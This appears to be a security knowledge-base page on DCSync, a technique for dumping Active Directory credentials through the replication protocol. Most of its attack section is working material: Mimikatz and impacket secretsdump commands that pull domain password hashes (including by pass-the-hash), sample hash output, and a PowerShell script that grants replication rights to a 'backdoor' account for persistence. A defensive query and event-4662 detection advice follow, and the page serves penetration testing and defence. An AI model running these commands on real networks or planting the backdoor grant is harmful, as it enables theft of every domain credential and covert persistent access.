DCSync Attack
Overview
DCSync is a credential-dumping technique that abuses the MS-DRSR (Directory Replication Service Remote Protocol) — the same mechanism domain controllers use to synchronise their AD databases. An attacker with the right ACEs issues IDL_DRSGetNCChanges RPC calls to a DC and receives back the same credential blob a secondary DC would receive during a normal replication cycle. No files are opened on disk, no processes are injected, and the DC never knows it is talking to an adversary rather than a peer.
The attack surface is the DS-Replication-Get-Changes-All extended right on the domain NC object. Domain Admins and Enterprise Admins hold this right by default. The right can also be delegated — a common persistence mechanism is to grant it to a low-privileged account, making subsequent DCSync possible without DA membership.
DCSync returns every credential in the domain in a single operation — NTLM hashes, AES Kerberos keys, and password history. On an engagement, document the finding and confirm scope before actually extracting hashes. Pulling the entire domain is rarely necessary to demonstrate impact.
The call chain
- 1verify DS-Replication rightsGetChanges + GetChangesAll ACEs are required — held by DAs, DCs, and any account explicitly granted them.
- 2DsGetDcNameLocate a reachable domain controller to send replication requests to.
- 3IDL_DRSBind (RPC over TCP 135)Establish an authenticated RPC session to the MS-DRSR endpoint on the DC.
- 4IDL_DRSGetNCChangesRequest replication data for a named user object — the DC returns the encrypted credential blob.
- 5decrypt credential blobThe replication payload is session-key encrypted; Mimikatz decrypts it with the negotiated Kerberos session key.
Reference implementation
Mimikatz (interactive)
# Dump a single account (least-footprint approach) mimikatz # lsadump::dcsync /user:CORP\Administrator # Dump krbtgt to build a Golden Ticket mimikatz # lsadump::dcsync /user:CORP\krbtgt # Dump the entire domain (noisy — one RPC call per account) mimikatz # lsadump::dcsync /all /csv # Output: # [DC] 'corp.local' will be the domain # [DC] 'DC01.corp.local' will be the DC server # Object RDN : Administrator # ** SAM ACCOUNT ** # SAM Username : Administrator # Object Security ID : S-1-5-21-... # Object Relative ID : 500 # Credentials: # Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c # ntlm- 0: 8846f7eaee8fb117ad06bdd830b7586c # Supplemental Credentials: # Primary:Kerberos-Newer-Keys aes256: ...
# Dump a single account (least-footprint approach)
mimikatz # lsadump::dcsync /user:CORP\Administrator
# Dump krbtgt to build a Golden Ticket
mimikatz # lsadump::dcsync /user:CORP\krbtgt
# Dump the entire domain (noisy — one RPC call per account)
mimikatz # lsadump::dcsync /all /csv
# Output:
# [DC] 'corp.local' will be the domain
# [DC] 'DC01.corp.local' will be the DC server
# Object RDN : Administrator
# ** SAM ACCOUNT **
# SAM Username : Administrator
# Object Security ID : S-1-5-21-...
# Object Relative ID : 500
# Credentials:
# Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
# ntlm- 0: 8846f7eaee8fb117ad06bdd830b7586c
# Supplemental Credentials:
# Primary:Kerberos-Newer-Keys aes256: ...impacket secretsdump (remote, no local access needed)
# Remote DCSync from a Linux attack host — no footprint on the DC $ python3 secretsdump.py CORP/Administrator:'Password123!'@10.10.10.1 -just-dc # Dump only a single user $ python3 secretsdump.py CORP/Administrator:'Password123!'@10.10.10.1 -just-dc-user Administrator # Pass-the-hash to DCSync without cleartext password $ python3 secretsdump.py -hashes :8846f7eaee8fb117ad06bdd830b7586c CORP/Administrator@10.10.10.1 -just-dc # Output (Domain\user:RID:LMhash:NThash) CORP.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: CORP.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c1e75e0bef3d84f9c18cebc0...:::
# Remote DCSync from a Linux attack host — no footprint on the DC
$ python3 secretsdump.py CORP/Administrator:'Password123!'@10.10.10.1 -just-dc
# Dump only a single user
$ python3 secretsdump.py CORP/Administrator:'Password123!'@10.10.10.1 -just-dc-user Administrator
# Pass-the-hash to DCSync without cleartext password
$ python3 secretsdump.py -hashes :8846f7eaee8fb117ad06bdd830b7586c CORP/Administrator@10.10.10.1 -just-dc
# Output (Domain\user:RID:LMhash:NThash)
CORP.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
CORP.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c1e75e0bef3d84f9c18cebc0...:::Grant DCSync rights to a backdoor account (persistence)
# Run as Domain Admin to grant DCSync rights to a low-priv account
Import-Module ActiveDirectory
$acl = Get-Acl "AD:DC=corp,DC=local"
# DS-Replication-Get-Changes-All GUID
$guid1 = [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
# DS-Replication-Get-Changes GUID
$guid2 = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$identity = [System.Security.Principal.NTAccount]"CORPackdoor_svc"
$adRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight
$type = [System.Security.AccessControl.AccessControlType]::Allow
$acl.AddAccessRule(
(New-Object System.DirectoryServices.ActiveDirectoryAccessRule `
$identity, $adRights, $type, $guid1, "None", [guid]::Empty))
$acl.AddAccessRule(
(New-Object System.DirectoryServices.ActiveDirectoryAccessRule `
$identity, $adRights, $type, $guid2, "None", [guid]::Empty))
Set-Acl -AclObject $acl "AD:DC=corp,DC=local"# Run as Domain Admin to grant DCSync rights to a low-priv account
Import-Module ActiveDirectory
$acl = Get-Acl "AD:DC=corp,DC=local"
# DS-Replication-Get-Changes-All GUID
$guid1 = [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
# DS-Replication-Get-Changes GUID
$guid2 = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$identity = [System.Security.Principal.NTAccount]"CORPackdoor_svc"
$adRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight
$type = [System.Security.AccessControl.AccessControlType]::Allow
$acl.AddAccessRule(
(New-Object System.DirectoryServices.ActiveDirectoryAccessRule `
$identity, $adRights, $type, $guid1, "None", [guid]::Empty))
$acl.AddAccessRule(
(New-Object System.DirectoryServices.ActiveDirectoryAccessRule `
$identity, $adRights, $type, $guid2, "None", [guid]::Empty))
Set-Acl -AclObject $acl "AD:DC=corp,DC=local"Detect rogue DCSync grants (defensive)
# Find all accounts with DCSync rights that are NOT DCs or DA group members
Import-Module ActiveDirectory
$replicationGUID = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:$domainDN"
$acl.Access | Where-Object {
$_.ObjectType -eq [guid]$replicationGUID -and
$_.ActiveDirectoryRights -match "ExtendedRight"
} | Select-Object IdentityReference, ActiveDirectoryRights# Find all accounts with DCSync rights that are NOT DCs or DA group members
Import-Module ActiveDirectory
$replicationGUID = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:$domainDN"
$acl.Access | Where-Object {
$_.ObjectType -eq [guid]$replicationGUID -and
$_.ActiveDirectoryRights -match "ExtendedRight"
} | Select-Object IdentityReference, ActiveDirectoryRightsRights required — and where to get them
| Account type | Has DCSync rights by default |
|---|---|
| Domain Admin | Yes |
| Enterprise Admin | Yes |
| Domain Controller computer accounts | Yes |
MSOL_* (Azure AD Connect) |
Yes — common target |
| Backup Operators | No |
| Standard domain user | No |
Azure AD Connect service accounts (MSOL_<random>) are particularly valuable targets: they are automatically granted DCSync rights during Azure AD Connect installation, typically have a weak or auto-generated password, and often receive little monitoring attention.
Detection
EID 4662 is the primary detection: look for the replication GUIDs on the domain NC object (%{1131f6ad-...}) from an account that is not a DC computer account. The challenge is volume — legitimate DCs generate thousands of 4662 events per day. Filter to SubjectUserName not ending in $ (machine accounts) to eliminate legitimate replication noise.